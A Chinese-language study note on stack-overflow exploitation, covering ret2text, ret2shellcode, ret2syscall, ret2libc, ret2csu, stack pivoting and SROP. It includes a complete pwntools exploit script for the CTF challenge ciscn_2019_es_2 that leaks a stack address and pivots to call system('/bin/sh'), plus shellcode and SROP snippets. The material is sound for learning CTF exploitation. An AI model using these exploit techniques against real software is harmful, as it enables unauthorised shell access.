栈溢出
原理
原理: 利用危险函数,将返回地址填充到栈帧上的返回地址,从控制该函数结束时返回到的地方
危险函数
- 输入
- gets,直接读取一行,忽略’\x00’
- scanf
- vscanf
- 输出
- sprintf
- 字符串
- strcpy,字符串复制,遇到’\x00’停止
- strcat,字符串拼接,遇到’\x00’停止
- bcopy
初级栈溢出
ret2text
利用.text段中的代码
确定填充长度后 构造payload即可
例子
ret2shellcode
shellcode
控制程序执行shellcode代码,常见功能是获取目标系统的shell,我们需向内存中填充一些可执行的代码
意味着,shellcode所在区域需要有可执行的权限
原理:
我们向可执行的区域写入shellcode,然后执行即可
pwntools
1
shellcode = asm(shellcraft.sh())一键生成shellcode
ret2syscall
原理:
利用系统调用获取shell
系统调用知识补充:
跟函数没什么区别,不过我们所调用的函数是系统给的罢了
系统调用号:rax
前6个参数:rdi rsi rdx r10 r8 r9
系统调用号

32位
64位
ret2syscall
寻找gadgets来控制寄存器为特定的值从而执行
execve("/bin/sh",NULL,NULL)工具:
ROPgadget --binary 可执行文件名 --only 'pop|ret' | grep 'eax'
ret2libc
.plt与.got
PLT(Procedure Linkage Table)
PLT 是一个跳转表,跳转到got表,从而执行函数
工作原理:
当程序第一次调用共享库中的函数时,会通过 PLT 跳转到一个 stub 代码段。这个 stub 会将控制权转移到动态链接器(ld.so),动态链接器会在 GOT 中查找或解析目标函数的实际地址,然后更新 GOT 的对应条目,之后,再次调用同一函数时,PLT 会直接从 GOT 中读取已解析的地址并跳转到目标函数。
GOT(Global Offset Table)
GOT 是一个表,存储程序运行时需要使用的全局变量和函数的实际地址。
工作原理:
程序加载时,GOT 的条目中存储的是共享库函数的默认入口地址(通常指向 PLT 中的 stub),当动态链接器解析了实际的函数地址后,会更新 GOT 对应的条目,使其指向正确的目标函数,之后,主程序对函数的调用直接通过 GOT 获取实际地址,提高效率。
也就是说,在使用一次函数后,got内存储的是真实地址
PLT 和 GOT协同找到正确的函数地址
工作流程: 首先主程序中所有对共享库函数的调用,都会经过 PLT 跳转。然后PLT 中的第一跳通常指向 GOT 表中的一项。此时GOT 中的条目在未解析时会指向 PLT 中的 stub 地址,动态链接器负责更新 GOT 条目。解析完成后,GOT 保存目标函数的真实地址,后续调用直接通过 GOT 加快速度。ret2libc
也就是利用libc中的system函数和/bin/sh的地址获取目标系统shell
利用泄露已知函数的真实地址,计算libc基地址,从而得到system与/bin/sh的真实地址,从而得到shell
中级栈溢出
ret2csu
原理:
- 在64位程序中,前6个参数由寄存器传递,但大多数时候,难找到每一个寄存器的gadgets,这时可以利用_libc_csu_csu中的gadgets
1 | |
- 从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。
- 从 0x0000000000400600 到 0x0000000000400609,我们可以将r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。
- 从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序,从而退出这个gadgets。这里我们可以简单的设置 rbx=0,rbp=1。
栈迁移
- 换个地方getshell
使用条件:
溢出长度不够,payload长度收到限制无法执行getshell
- 能够栈溢出,起码也要覆盖ebp
- 要有可写的地方
- bss段
- 栈中
原理
核心
两次的
leave,retleave:mov esp,ebp;pop ebpret:pop eipmain函数里的栈迁移
第一次leave ret;将ebp给放入我们指定的位置(这个位置的就是迁移后的所在位置)
第二次将esp也迁移到这个位置,并且pop ebp之后,esp也指向了下一个内存单元(此时这里放的就是system函数的plt地址)


例题:
buu的ciscn_2019_es_2
checksec

IDA



思路
就是利用栈迁移,将ebp覆盖成s顶部地址,将返回地址覆盖成leave,ret的地址即可
现在主要是要得到s顶部的地址,ida里可以利用第一个read将
\0覆盖掉从而泄露ebp上的内容,计算偏移后得到s地址计算偏移
将断点下载nop处,gdb调试

得到偏移0x38
构造栈上数据

代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27from pwn import *
# r=remote("node5.buuoj.cn",25608)
r=process('./es2')
context(os='linux', arch='i386', log_level='debug')
elf=ELF('./es2')
main_addr=elf.symbols['main']
leave_ret_addr=0x08048562
system_addr=0x08048400
# gdb.attach(r)
r.recvuntil("Welcome, my friend. What's your name?")
payload1=b'A'*0x25+b'ANV'
r.send(payload1) # 注意这里要是send而不是sendline,否则在底下接收数据的时候会出错,因为多了一个回车那么就不再是recv到ANV了
r.recvuntil("ANV")
ebp=u32(r.recv(4))
print(hex(ebp))
s_addr=ebp-0x38
binsh_addr=s_addr+0x10 # 栈上距离s填充四格,所以要加16,也就是0x10
print(hex(binsh_addr))
print(hex(s_addr))
payload2=b'AAAA'+p32(system_addr)+p32(main_addr)+p32(binsh_addr)+b'/bin/sh'
payload2=payload2.ljust(0x28,b'\x00')
payload2+=p32(s_addr)+p32(leave_ret_addr)
r.send(payload2)
# pause()
r.interactive()
SROP
signal机制

- 内核向进程发送signal机制,进程被挂起,进入内核态
- 内核态保存上下文:将所有寄存器压入栈中,压入signal信息。指向sigreturn的系统掉哦那个地址,也就是图中所示的1过程
- 在signal handler后执行sigreturn,恢复寄存器,我们所做的就是构造好栈,然后触发sigreturn,达到控制寄存器的目的,从而getshell
- 32位sigreturn调用号为118
- 64位sigreturn调用号为15
前提条件
- 必须存在栈溢出
- 必须知道/bin/sh的地址
- 允许溢出的长度必须足够长
- 可以去系统调用sigreturn
- 知道syscall的地址
如何利用
我们通过伪造SignFrame,然后除法Sigreturn,将栈中构造好的数据送入寄存器,通过syscall执行系统调用
pwntools集成了SROP的攻击
1
2
3
4
5
6
7
8# 例子
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret我们可以直接设置寄存器的值
首先设置rax,将返回地址覆盖成syscall,触发sigreturn即可